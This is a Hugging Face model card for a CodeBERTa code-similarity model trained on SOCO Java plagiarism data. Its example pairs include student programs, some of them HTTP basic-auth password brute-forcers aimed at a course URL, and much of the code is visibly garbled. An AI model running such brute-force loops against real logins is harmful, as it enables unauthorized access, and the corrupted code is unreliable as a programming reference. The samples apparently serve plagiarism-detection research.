Team Ai
Modelpublic

buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST

sourceHugging Faceupdated 1y agoView on Hugging Face
0likes24downloads
README.md1566 linesDownload Raw Back to root
1---2tags:3- sentence-transformers4- sentence-similarity5- feature-extraction6- generated_from_trainer7- dataset_size:300698- loss:SoftmaxLoss9base_model: huggingface/CodeBERTa-small-v110widget:11- source_sentence: "\nimport java.io.*;\nimport java.util.Vector;\nimport java.util.Date;\n\12    \n\ninterface UnaryPredicate {\n  boolean execute(Object obj);\n}\n\n\npublic\13    \ class DiffPrint {\n  \n  static String outFile=\"\";\n\n  public static abstract\14    \ class Base {\n    protected Base(Object[] a,Object[] b) {\n\ttry\n\t{\n    \15    \  outfile = new PrintWriter(new FileWriter(outFile));\t\t\n\t}\n\tcatch (Exception\16    \ e)\n\t{\n\t\te.printStackTrace();\n\t}\n      file0 = a;\n      file1 = b;\n\17    \    }\n    \n    protected UnaryPredicate ignore = null;\n\n    \n    protected\18    \ Object[] file0, file1;\n\n    \n    public void print_script(Diff.change script)\19    \ {\n      Diff.change next = script;\n\n      while (next != null)\n        {\n\20    \          Diff.change t, end;\n\n          \n          t = next;\n          end\21    \ = hunkfun(next);\n\n          \n          next = end;\n          end = null;\n\22    \          \n          \n\n          \n          print_hunk(t);\n\n          \n\23    \          end = next;\n        }\n        outfile.flush();\n    }\n\n    \n\n\24    \    protected Diff.change hunkfun(Diff.change hunk) {\n      return hunk;\n \25    \   }\n\n    protected int first0, last0, first1, last1, deletes, inserts;\n \26    \   protected PrintWriter outfile;\n\n    \n\n    protected void analyze_hunk(Diff.change\27    \ hunk) {\n      int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;\n   \28    \   int i;\n      Diff.change next;\n      boolean nontrivial = (ignore == null);\n\29    \n      show_from = show_to = 0;\n\n      f0 = hunk.line0;\n      f1 = hunk.line1;\n\30    \n      for (next = hunk; next != null; next = next.next())\n        {\n     \31    \     l0 = next.line0 + next.deleted - 1;\n          l1 = next.line1 + next.inserted\32    \ - 1;\n          show_from += next.deleted;\n          show_to += next.inserted;\n\33    \          for (i = next.line0; i <= l0 && ! nontrivial; i++)\n            if\34    \ (!ignore.execute(file0[i]))\n              nontrivial = true;\n          for\35    \ (i = next.line1; i <= l1 && ! nontrivial; i++)\n            if (!ignore.execute(file1[i]))\n\36    \              nontrivial = true;\n        }\n\n      first0 = f0;\n      last0\37    \ = l0;\n      first1 = f1;\n      last1 = l1;\n\n      \n\n      if (!nontrivial)\n\38    \        show_from = show_to = 0;\n\n      deletes = show_from;\n      inserts\39    \ = show_to;\n    }\n\n    \n    protected void print_header(String filea, String\40    \ fileb) { }\n\n    protected abstract void print_hunk(Diff.change hunk);\n  \41    \  \n    protected void print_1_line(String pre,Object linbuf) {\n      outfile.println(pre\42    \ + linbuf.toString());\n    }\n\n    \n\n    protected void print_number_range\43    \ (char sepchar, int a, int b) {\n      \n      if (++b > ++a)\n        outfile.print(\"\44    \" + a + sepchar + b);\n      else\n        outfile.print(b);\n    }\n\n    public\45    \ static char change_letter(int inserts, int deletes) {\n      if (inserts ==\46    \ 0)\n        return 'd';\n      else if (deletes == 0)\n        return 'a';\n\47    \      else\n        return 'c';\n    }\n  }\n\n  \n  public static class NormalPrint\48    \ extends Base {\n\n    public NormalPrint(Object[] a,Object[] b) {\n      super(a,b);\n\49    \    }\n\n    \n\n    protected void print_hunk (Diff.change hunk) {\n\n     \50    \ \n      analyze_hunk(hunk);\n      if (deletes == 0 && inserts == 0)\n     \51    \   return;\n\n      \n      print_number_range (',', first0, last0);\n      outfile.print(change_letter(inserts,\52    \ deletes));\n      print_number_range (',', first1, last1);\n      outfile.println();\n\53    \n      \n      if (deletes != 0)\n        for (int i = first0; i <= last0; i++)\n\54    \          print_1_line (\"< \", file0[i]);\n\n      if (inserts != 0 && deletes\55    \ != 0)\n        outfile.println(\"---\");\n\n      \n      if (inserts != 0)\n\56    \        for (int i = first1; i <= last1; i++)\n          print_1_line (\"> \"\57    , file1[i]);\n    }\n  }\n\n  \n  public static class EdPrint extends Base {\n\58    \n    public EdPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n  \59    \  \n    protected void print_hunk(Diff.change hunk) {\n\n      \n      analyze_hunk\60    \ (hunk);\n      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n\61    \      print_number_range (',', first0, last0);\n      outfile.println(change_letter(inserts,\62    \ deletes));\n\n      \n      if (inserts != 0)\n        {\n          boolean\63    \ inserting = true;\n          for (int i = first1; i <= last1; i++)\n       \64    \     {\n              \n              if (! inserting)\n                outfile.println(i\65    \ - first1 + first0 + \"a\");\n              inserting = true;\n\n           \66    \   \n\n              if (\".\".equals(file1[i]))\n                {\n       \67    \           outfile.println(\"..\");\n                  outfile.println(\".\"\68    );\n                  \n                  outfile.println(i - first1 + first0\69    \ + 1 + \"s/^\\\\.\\\\././\");\n                  inserting = false;\n       \70    \         }\n              else\n                \n                print_1_line\71    \ (\"\", file1[i]);\n            }\n\n          \n          if (inserting)\n \72    \           outfile.println(\".\");\n        }\n    }\n  }\n\n  \n  public static\73    \ class ContextPrint extends Base {\n\n    protected int context = 3;\n\n    public\74    \ ContextPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n    protected\75    \ void print_context_label (String cad, File inf, String label) {\n      if (label\76    \ != null)\n        outfile.println(cad + ' ' + label);\n      else if (inf.lastModified()\77    \ > 0)\n        \n        outfile.println(\n          cad + ' ' + inf.getPath()\78    \ + '\\t' + new Date(inf.lastModified())\n        );\n      else\n        \n \79    \       outfile.println( cad + ' ' + inf.getPath());\n    }\n\n    public void\80    \ print_header(String filea,String fileb) {\n      print_context_label (\"***\"\81    , new File(filea), filea);\n      print_context_label (\"---\", new File(fileb),\82    \ fileb);\n    }\n\n    \n    private String find_function(Object[] lines, int\83    \ x) {\n      return null;\n    }\n\n    protected void print_function(Object[]\84    \ file,int x) {\n      String function = find_function (file0, first0);\n    \85    \  if (function != null) {\n        outfile.print(\" \");\n        outfile.print(\n\86    \          (function.length() < 40) ? function : function.substring(0,40)\n  \87    \      );\n      }\n    }\n\n    protected void print_hunk(Diff.change hunk) {\n\88    \n      \n\n      analyze_hunk (hunk);\n\n      if (deletes == 0 && inserts ==\89    \ 0)\n        return;\n\n      \n\n      first0 = Math.sqrt(first0 - context,\90    \ 0);\n      first1 = Math.sqrt(first1 - context, 0);\n      last0 = Math.sqrt(last0\91    \ + context, file0.length - 1);\n      last1 = Math.sqrt(last1 + context, file1.length\92    \ - 1);\n\n\n      outfile.print(\"***************\");\n\n      \n      print_function\93    \ (file0, first0);\n\n      outfile.println();\n      outfile.print(\"*** \");\n\94    \      print_number_range (',', first0, last0);\n      outfile.println(\" ****\"\95    );\n\n      if (deletes != 0) {\n        Diff.change next = hunk;\n\n        for\96    \ (int i = first0; i <= last0; i++) {\n          \n\n          while (next !=\97    \ null && next.line0 + next.deleted <= i)\n            next = next.next;\n\n \98    \         \n\n          String prefix = \" \";\n          if (next != null &&\99    \ next.line0 <= i)\n            \n            prefix = (next.inserted > 0) ? \"\100    !\" : \"-\";\n\n          print_1_line (prefix, file0[i]);\n        }\n      }\n\101    \n      outfile.print(\"--- \");\n      print_number_range (',', first1, last1);\n\102    \      outfile.println(\" ----\");\n\n      if (inserts != 0) {\n        Diff.change\103    \ next = hunk;\n\n        for (int i = first1; i <= last1; i++) {\n          \n\104    \n          while (next != null && next.line1 + next.inserted <= i)\n        \105    \    next = next.next;\n\n          \n\n          String prefix = \" \";\n   \106    \       if (next != null && next.line1 <= i)\n            \n            prefix\107    \ = (next.deleted > 0) ? \"!\" : \"+\";\n\n          print_1_line (prefix, file1[i]);\n\108    \        }\n      }\n    }\n  }\n\n  \n  public static class UnifiedPrint extends\109    \ ContextPrint {\n\n    public UnifiedPrint(Object[] a,Object[] b) {\n      super(a,b);\n\110    \    }\n\n    public void print_header(String filea,String fileb) {\n      print_context_label\111    \ (\"---\", new File(filea), filea);\n      print_context_label (\"+++\", new\112    \ File(fileb), fileb);\n    }\n\n    private void print_number_range (int a, int\113    \ b) {\n      \n\n      \n      if (b < a)\n        outfile.print(b + \",0\");\n\114    \      else\n        super.print_number_range(',',a,b);\n    }\n\n    protected\115    \ void print_hunk(Diff.change hunk) {\n      \n      analyze_hunk (hunk);\n\n\116    \      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n\n      first0\117    \ = Math.sqrt(first0 - context, 0);\n      first1 = Math.sqrt(first1 - context,\118    \ 0);\n      last0 = Math.sqrt(last0 + context, file0.length - 1);\n      last1\119    \ = Math.sqrt(last1 + context, file1.length - 1);\n\n\n\n      outfile.print(\"\120    @@ -\");\n      print_number_range (first0, last0);\n      outfile.print(\" +\"\121    );\n      print_number_range (first1, last1);\n      outfile.print(\" @@\");\n\122    \n      \n      print_function(file0,first0);\n\n      outfile.println();\n\n\123    \      Diff.change next = hunk;\n      int i = first0;\n      int j = first1;\n\124    \n      while (i <= last0 || j <= last1) {\n\n        \n\n        if (next ==\125    \ null || i < next.line0) {\n          outfile.print(' ');\n          print_1_line(\"\126    \", file0[i++]);\n          j++;\n        }\n        else {\n          \n\n  \127    \        int k = next.deleted;\n          while (k-- > 0) {\n            outfile.print('-');\n\128    \            print_1_line(\"\", file0[i++]);\n          }\n\n          \n\n  \129    \        k = next.inserted;\n          while (k-- > 0) {\n            outfile.print('+');\n\130    \            print_1_line(\"\", file1[j++]);\n          }\n\n          \n\n  \131    \        next = next.next;\n        }\n      }\n    }\n  }\n\n\n  \n  static String[]\132    \ slurp(String file) throws IOException {\n    BufferedReader rdr = new BufferedReader(new\133    \ FileReader(file));\n    Vector s = new Vector();\n    for (;;) {\n      String\134    \ line = rdr.readLine();\n      if (line == null) break;\n      s.addElement(line);\n\135    \    }\n    String[] a = new String[s.size()];\n    s.copyInto(a);\n    return\136    \ a;\n  }\n\n\n  public static String getDiff(String filea,String fileb,String\137    \ filec) throws IOException {\n\tDiffPrint.outFile=filec;\n\tString msg=\"\";\n\138    \tString[] a = slurp(filea);\n    String[] b = slurp(fileb);\n\tString [] argv={filea,fileb};\n\139    \    Diff d = new Diff(a,b);\n    char style = 'n';\n    for (int i = 0; i < argv.length\140    \ - 2; ++i) {\n      String f = argv[i];\n      if (f.startsWith(\"-\")) {\n \141    \       for (int j = 1; j < f.length(); ++j) {\n          switch (f.charAt(j))\142    \ {\n           case 'e':     \n            style = 'e'; break;\n            case\143    \ 'c':     \n            style = 'c'; break;\n          case  'u':\n         \144    \   style = 'u'; break;\n          }\n        }\n      }\n    }\n    boolean reverse\145    \ = style == 'e';\n    Diff.change script = d.diff_2(reverse);\n    if (script\146    \ == null)\n      msg=\"The text  the  has not changed.\\n\";\n    else {\n  \147    \  Base p;\n      msg=\"The text  the  has changed.\\n The Diff Output is : \\\148    n\\n\";\n      switch (style) {\n      case 'e':\n        p = new EdPrint(a,b);\149    \ break;\n       case'c':\n        p = new ContextPrint(a,b); break;\n      case\150    \ 'u':\n        p = new UnifiedPrint(a,b); break;\n      default:\n        p =\151    \ new NormalPrint(a,b);\n      }\n      p.print_header(filea,fileb);\n      p.print_script(script);\n\152    \    }\n\treturn msg;\n  }\n}\n"153  sentences:154  - "import java.net.*;\nimport java.io.*;\n\n\npublic class EmailClient\n{\n\tprivate\155    \ String sender, recipient, hostName;\n\n\tpublic EmailClient(String nSender,\156    \ String nRecipient, String nHost)\n\t{\n\t\tsender = nSender;\n\t\trecipient\157    \ = nRecipient;\n\t\thostName = nHost;\n\t}\n\n\tpublic void sendMail(String subject,\158    \ String message)\n\t{\n\t\ttry\n\t\t{\n\t\t\tSocket s1=null;\n\t\t\tInputStream\t\159    is = null;\n\t\t\tOutputStream os = null;\n\n\t\t\tDataOutputStream  = null;\n\160    \n\t\t\ts1 = new Socket(hostName,25);\n\t\t\tis = s1.getInputStream();\n\t\t\t\161    os = s1.getOutputStream();\n\n\t\t\tbd = new DataOutputStream(os);\n\n\t\t\tBufferedReader\162    \ response = new BufferedReader(new InputStreamReader(is));\n\n\t\t\tbd.writeBytes(\"\163    HELO \"+ InetAddress.getLocalHost().getHostName() + \"\\r\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\164    \n\t\t\tbd.writeBytes(\"MAIL FROM:\"+sender+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\165    \n\t\t\tbd.writeBytes(\"RCPT :\"+recipient+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\166    \n\t\t\tbd.writeBytes(\"data\"+\"\\n\");\n\n\t\t\tbd.writeBytes(\"Subject:\"+subject+\"\167    \\n\");\n\n\t\t\tbd.writeBytes(message+\"\\n.\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\168    \t\t}\n\n\t\tcatch (UnknownHostException badUrl)\n\t\t{\n\t\t\tSystem.out.println(\"\169    Host unknown.\");\n\t\t}\n\n\t\tcatch (EOFException eof)\n\t\t{\n\t\t\tSystem.out.println(\"\170    <EOF>\");\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tSystem.out.println(\"\171    got exception: \"+e);\n\t\t}\n\t}\n\n\tprivate static void\twaitForSuccessResponse(BufferedReader\172    \ response) throws IOException\n\t{\n\t\tString rsp;\n\t\tboolean r250 = false;\n\173    \n\t\twhile( ! r250 )\n\t\t{\n\t\t\trsp = response.readLine().trim();\n\n\t\t\t\174    if(rsp.startsWith(\"250\"))\n\t\t\t\tr250 = true;\n\t\t}\n\n\t}\n}"175  - "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n\n   public\176    \ static void main(String[] args) {\n      new CrackAttempt();\n   }\n}\n\nclass\177    \ CrackAttempt {\n   public CrackAttempt() {\n      final int MAX_LENGTH = 3;\n\178    \      boolean auth = false;\n      Date  = new Date();\n      boolean morePasswords\179    \ = true;\n      int passPtr = 0;\n      StringBuffer validChars = new StringBuffer(\"\180    abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n      char[] password\181    \ = new char[MAX_LENGTH];\n\n      password[0] = validChars.charAt(0);\n     \182    \ while (!auth && morePasswords) {\n         String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\183    ;\n         try {\n            \n            Authenticator.setDefault(new CrackAuth(password));\n\184    \            URL url = new URL(resource);\n            HttpURLConnection conn\185    \ = (HttpURLConnection)url.openConnection();\n            conn.setRequestMethod(\"\186    HEAD\");\n            if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\187    \ {\n               System.out.println(\"cracked with \" + new String(password));\n\188    \               auth = true;\n            }\n         } catch (Exception e) {\n\189    \            System.out.println(\" was  exception: \" + e.getMessage());\n   \190    \      }\n         int count = passPtr;\n         while (true) {\n           \191    \ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n     \192    \          password[count] = validChars.charAt(0);\n               count--;\n\193    \            } else {\n               password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\194    \ + 1);\n               break;\n            }\n            if (count < 0) {\n\195    \               \n               if (passPtr < MAX_LENGTH - 1) {\n           \196    \       passPtr++;\n                  password[passPtr] = validChars.charAt(0);\n\197    \               } else {\n                  morePasswords = false;\n         \198    \      }\n               break;\n            }\n         }\n         \n      }\199    \ \n      if (!auth) {\n         System.out.println(\"Unable  determine password\"\200    );\n      } else {\n          time = (new Date()).getTime() - start.getTime();\n\201    \         System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\202    \  crack the password\");\n      }\n   }\n}\n\nclass CrackAuth extends Authenticator\203    \ {\n   char[] password;\n   public CrackAuth(char[] password) {\n      this.password\204    \ = password;\n   }\n\n   protected PasswordAuthentication getPasswordAuthentication()\n\205    \   {\n      String user = \"\";\n      return new PasswordAuthentication(user,\206    \ password);\n   }\n}\n"207  - "import java.util.*;\nimport java.io.*;\n\n\n\npublic class WatchDog {\n\n  public\208    \ WatchDog() {\n\n  }\n  public static void  main(String args[]) {\n    DataInputStream\209    \ newin;\n\n    try{\n\n\n      System.out.println(\"Downloading first copy\"\210    );\n      Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/ -O\211    \ oldfile.html\");\n      String[] cmdDiff = {\"//sh\", \"-c\", \"diff oldfile.html\212    \ newfile.html > Diff.txt\"};\n      String[] cmdMail = {\"//sh\", \"-c\", \"\213    mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\" < Diff.txt\"};\n      while(true){\n\214    \            Thread.sleep(24*60*60*1000);\n            System.out.println(\"Downloading\215    \ new copy\");\n            Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/\216    \ -O newfile.html\");\n            Thread.sleep(2000);\n            Runtime.getRuntime().exec(cmdDiff);\n\217    \            Thread.sleep(2000);\n            newin = new DataInputStream( new\218    \ FileInputStream( \"Diff.txt\"));\n            if (newin.readLine() != null){\n\219    \               System.out.println(\"Sending Mail\");\n               Runtime.getRuntime().exec(cmdMail);\n\220    \               Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\221    \n            }\n        }\n\n    }\n    catch(Exception e){\n      e.printStackTrace();\n\222    \    }\n\n    }\n\n}"223- source_sentence: "\nimport java.io.*;\nimport java.util.Vector;\nimport java.util.Date;\n\224    \n\ninterface UnaryPredicate {\n  boolean execute(Object obj);\n}\n\n\npublic\225    \ class DiffPrint {\n  \n  static String outFile=\"\";\n\n  public static abstract\226    \ class Base {\n    protected Base(Object[] a,Object[] b) {\n\ttry\n\t{\n    \227    \  outfile = new PrintWriter(new FileWriter(outFile));\t\t\n\t}\n\tcatch (Exception\228    \ e)\n\t{\n\t\te.printStackTrace();\n\t}\n      file0 = a;\n      file1 = b;\n\229    \    }\n    \n    protected UnaryPredicate ignore = null;\n\n    \n    protected\230    \ Object[] file0, file1;\n\n    \n    public void print_script(Diff.change script)\231    \ {\n      Diff.change next = script;\n\n      while (next != null)\n        {\n\232    \          Diff.change t, end;\n\n          \n          t = next;\n          end\233    \ = hunkfun(next);\n\n          \n          next = end;\n          end = null;\n\234    \          \n          \n\n          \n          print_hunk(t);\n\n          \n\235    \          end = next;\n        }\n        outfile.flush();\n    }\n\n    \n\n\236    \    protected Diff.change hunkfun(Diff.change hunk) {\n      return hunk;\n \237    \   }\n\n    protected int first0, last0, first1, last1, deletes, inserts;\n \238    \   protected PrintWriter outfile;\n\n    \n\n    protected void analyze_hunk(Diff.change\239    \ hunk) {\n      int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;\n   \240    \   int i;\n      Diff.change next;\n      boolean nontrivial = (ignore == null);\n\241    \n      show_from = show_to = 0;\n\n      f0 = hunk.line0;\n      f1 = hunk.line1;\n\242    \n      for (next = hunk; next != null; next = next.next())\n        {\n     \243    \     l0 = next.line0 + next.deleted - 1;\n          l1 = next.line1 + next.inserted\244    \ - 1;\n          show_from += next.deleted;\n          show_to += next.inserted;\n\245    \          for (i = next.line0; i <= l0 && ! nontrivial; i++)\n            if\246    \ (!ignore.execute(file0[i]))\n              nontrivial = true;\n          for\247    \ (i = next.line1; i <= l1 && ! nontrivial; i++)\n            if (!ignore.execute(file1[i]))\n\248    \              nontrivial = true;\n        }\n\n      first0 = f0;\n      last0\249    \ = l0;\n      first1 = f1;\n      last1 = l1;\n\n      \n\n      if (!nontrivial)\n\250    \        show_from = show_to = 0;\n\n      deletes = show_from;\n      inserts\251    \ = show_to;\n    }\n\n    \n    protected void print_header(String filea, String\252    \ fileb) { }\n\n    protected abstract void print_hunk(Diff.change hunk);\n  \253    \  \n    protected void print_1_line(String pre,Object linbuf) {\n      outfile.println(pre\254    \ + linbuf.toString());\n    }\n\n    \n\n    protected void print_number_range\255    \ (char sepchar, int a, int b) {\n      \n      if (++b > ++a)\n        outfile.print(\"\256    \" + a + sepchar + b);\n      else\n        outfile.print(b);\n    }\n\n    public\257    \ static char change_letter(int inserts, int deletes) {\n      if (inserts ==\258    \ 0)\n        return 'd';\n      else if (deletes == 0)\n        return 'a';\n\259    \      else\n        return 'c';\n    }\n  }\n\n  \n  public static class NormalPrint\260    \ extends Base {\n\n    public NormalPrint(Object[] a,Object[] b) {\n      super(a,b);\n\261    \    }\n\n    \n\n    protected void print_hunk (Diff.change hunk) {\n\n     \262    \ \n      analyze_hunk(hunk);\n      if (deletes == 0 && inserts == 0)\n     \263    \   return;\n\n      \n      print_number_range (',', first0, last0);\n      outfile.print(change_letter(inserts,\264    \ deletes));\n      print_number_range (',', first1, last1);\n      outfile.println();\n\265    \n      \n      if (deletes != 0)\n        for (int i = first0; i <= last0; i++)\n\266    \          print_1_line (\"< \", file0[i]);\n\n      if (inserts != 0 && deletes\267    \ != 0)\n        outfile.println(\"---\");\n\n      \n      if (inserts != 0)\n\268    \        for (int i = first1; i <= last1; i++)\n          print_1_line (\"> \"\269    , file1[i]);\n    }\n  }\n\n  \n  public static class EdPrint extends Base {\n\270    \n    public EdPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n  \271    \  \n    protected void print_hunk(Diff.change hunk) {\n\n      \n      analyze_hunk\272    \ (hunk);\n      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n\273    \      print_number_range (',', first0, last0);\n      outfile.println(change_letter(inserts,\274    \ deletes));\n\n      \n      if (inserts != 0)\n        {\n          boolean\275    \ inserting = true;\n          for (int i = first1; i <= last1; i++)\n       \276    \     {\n              \n              if (! inserting)\n                outfile.println(i\277    \ - first1 + first0 + \"a\");\n              inserting = true;\n\n           \278    \   \n\n              if (\".\".equals(file1[i]))\n                {\n       \279    \           outfile.println(\"..\");\n                  outfile.println(\".\"\280    );\n                  \n                  outfile.println(i - first1 + first0\281    \ + 1 + \"s/^\\\\.\\\\././\");\n                  inserting = false;\n       \282    \         }\n              else\n                \n                print_1_line\283    \ (\"\", file1[i]);\n            }\n\n          \n          if (inserting)\n \284    \           outfile.println(\".\");\n        }\n    }\n  }\n\n  \n  public static\285    \ class ContextPrint extends Base {\n\n    protected int context = 3;\n\n    public\286    \ ContextPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n    protected\287    \ void print_context_label (String cad, File inf, String label) {\n      if (label\288    \ != null)\n        outfile.println(cad + ' ' + label);\n      else if (inf.lastModified()\289    \ > 0)\n        \n        outfile.println(\n          cad + ' ' + inf.getPath()\290    \ + '\\t' + new Date(inf.lastModified())\n        );\n      else\n        \n \291    \       outfile.println( cad + ' ' + inf.getPath());\n    }\n\n    public void\292    \ print_header(String filea,String fileb) {\n      print_context_label (\"***\"\293    , new File(filea), filea);\n      print_context_label (\"---\", new File(fileb),\294    \ fileb);\n    }\n\n    \n    private String find_function(Object[] lines, int\295    \ x) {\n      return null;\n    }\n\n    protected void print_function(Object[]\296    \ file,int x) {\n      String function = find_function (file0, first0);\n    \297    \  if (function != null) {\n        outfile.print(\" \");\n        outfile.print(\n\298    \          (function.length() < 40) ? function : function.substring(0,40)\n  \299    \      );\n      }\n    }\n\n    protected void print_hunk(Diff.change hunk) {\n\300    \n      \n\n      analyze_hunk (hunk);\n\n      if (deletes == 0 && inserts ==\301    \ 0)\n        return;\n\n      \n\n      first0 = Math.sqrt(first0 - context,\302    \ 0);\n      first1 = Math.sqrt(first1 - context, 0);\n      last0 = Math.sqrt(last0\303    \ + context, file0.length - 1);\n      last1 = Math.sqrt(last1 + context, file1.length\304    \ - 1);\n\n\n      outfile.print(\"***************\");\n\n      \n      print_function\305    \ (file0, first0);\n\n      outfile.println();\n      outfile.print(\"*** \");\n\306    \      print_number_range (',', first0, last0);\n      outfile.println(\" ****\"\307    );\n\n      if (deletes != 0) {\n        Diff.change next = hunk;\n\n        for\308    \ (int i = first0; i <= last0; i++) {\n          \n\n          while (next !=\309    \ null && next.line0 + next.deleted <= i)\n            next = next.next;\n\n \310    \         \n\n          String prefix = \" \";\n          if (next != null &&\311    \ next.line0 <= i)\n            \n            prefix = (next.inserted > 0) ? \"\312    !\" : \"-\";\n\n          print_1_line (prefix, file0[i]);\n        }\n      }\n\313    \n      outfile.print(\"--- \");\n      print_number_range (',', first1, last1);\n\314    \      outfile.println(\" ----\");\n\n      if (inserts != 0) {\n        Diff.change\315    \ next = hunk;\n\n        for (int i = first1; i <= last1; i++) {\n          \n\316    \n          while (next != null && next.line1 + next.inserted <= i)\n        \317    \    next = next.next;\n\n          \n\n          String prefix = \" \";\n   \318    \       if (next != null && next.line1 <= i)\n            \n            prefix\319    \ = (next.deleted > 0) ? \"!\" : \"+\";\n\n          print_1_line (prefix, file1[i]);\n\320    \        }\n      }\n    }\n  }\n\n  \n  public static class UnifiedPrint extends\321    \ ContextPrint {\n\n    public UnifiedPrint(Object[] a,Object[] b) {\n      super(a,b);\n\322    \    }\n\n    public void print_header(String filea,String fileb) {\n      print_context_label\323    \ (\"---\", new File(filea), filea);\n      print_context_label (\"+++\", new\324    \ File(fileb), fileb);\n    }\n\n    private void print_number_range (int a, int\325    \ b) {\n      \n\n      \n      if (b < a)\n        outfile.print(b + \",0\");\n\326    \      else\n        super.print_number_range(',',a,b);\n    }\n\n    protected\327    \ void print_hunk(Diff.change hunk) {\n      \n      analyze_hunk (hunk);\n\n\328    \      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n\n      first0\329    \ = Math.sqrt(first0 - context, 0);\n      first1 = Math.sqrt(first1 - context,\330    \ 0);\n      last0 = Math.sqrt(last0 + context, file0.length - 1);\n      last1\331    \ = Math.sqrt(last1 + context, file1.length - 1);\n\n\n\n      outfile.print(\"\332    @@ -\");\n      print_number_range (first0, last0);\n      outfile.print(\" +\"\333    );\n      print_number_range (first1, last1);\n      outfile.print(\" @@\");\n\334    \n      \n      print_function(file0,first0);\n\n      outfile.println();\n\n\335    \      Diff.change next = hunk;\n      int i = first0;\n      int j = first1;\n\336    \n      while (i <= last0 || j <= last1) {\n\n        \n\n        if (next ==\337    \ null || i < next.line0) {\n          outfile.print(' ');\n          print_1_line(\"\338    \", file0[i++]);\n          j++;\n        }\n        else {\n          \n\n  \339    \        int k = next.deleted;\n          while (k-- > 0) {\n            outfile.print('-');\n\340    \            print_1_line(\"\", file0[i++]);\n          }\n\n          \n\n  \341    \        k = next.inserted;\n          while (k-- > 0) {\n            outfile.print('+');\n\342    \            print_1_line(\"\", file1[j++]);\n          }\n\n          \n\n  \343    \        next = next.next;\n        }\n      }\n    }\n  }\n\n\n  \n  static String[]\344    \ slurp(String file) throws IOException {\n    BufferedReader rdr = new BufferedReader(new\345    \ FileReader(file));\n    Vector s = new Vector();\n    for (;;) {\n      String\346    \ line = rdr.readLine();\n      if (line == null) break;\n      s.addElement(line);\n\347    \    }\n    String[] a = new String[s.size()];\n    s.copyInto(a);\n    return\348    \ a;\n  }\n\n\n  public static String getDiff(String filea,String fileb,String\349    \ filec) throws IOException {\n\tDiffPrint.outFile=filec;\n\tString msg=\"\";\n\350    \tString[] a = slurp(filea);\n    String[] b = slurp(fileb);\n\tString [] argv={filea,fileb};\n\351    \    Diff d = new Diff(a,b);\n    char style = 'n';\n    for (int i = 0; i < argv.length\352    \ - 2; ++i) {\n      String f = argv[i];\n      if (f.startsWith(\"-\")) {\n \353    \       for (int j = 1; j < f.length(); ++j) {\n          switch (f.charAt(j))\354    \ {\n           case 'e':     \n            style = 'e'; break;\n            case\355    \ 'c':     \n            style = 'c'; break;\n          case  'u':\n         \356    \   style = 'u'; break;\n          }\n        }\n      }\n    }\n    boolean reverse\357    \ = style == 'e';\n    Diff.change script = d.diff_2(reverse);\n    if (script\358    \ == null)\n      msg=\"The text  the  has not changed.\\n\";\n    else {\n  \359    \  Base p;\n      msg=\"The text  the  has changed.\\n The Diff Output is : \\\360    n\\n\";\n      switch (style) {\n      case 'e':\n        p = new EdPrint(a,b);\361    \ break;\n       case'c':\n        p = new ContextPrint(a,b); break;\n      case\362    \ 'u':\n        p = new UnifiedPrint(a,b); break;\n      default:\n        p =\363    \ new NormalPrint(a,b);\n      }\n      p.print_header(filea,fileb);\n      p.print_script(script);\n\364    \    }\n\treturn msg;\n  }\n}\n"365  sentences:366  - "\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport\367    \ java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce\368    \ {\n  \n  static char [] passwordDataSet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\369    .toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String\370    \ url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n\371    \  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n\372    \  public String getNextPassword(){\n    String nextPassword = \"\";\n    for(int\373    \ i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n\374    \        return null;\n      if(indices[i] == passwordDataSet.length ){\n    \375    \    indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\376    \n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n\377    \  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n\378    \    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public\379    \ void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n\380    \  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n\381    \    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome\382    \ = null;\n    String  authorization = null;\n    String password = null;\n  \383    \  BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n\384    \    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!\"\385    HTTP/1.1 200 OK\".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n\386    \      urlConnection = 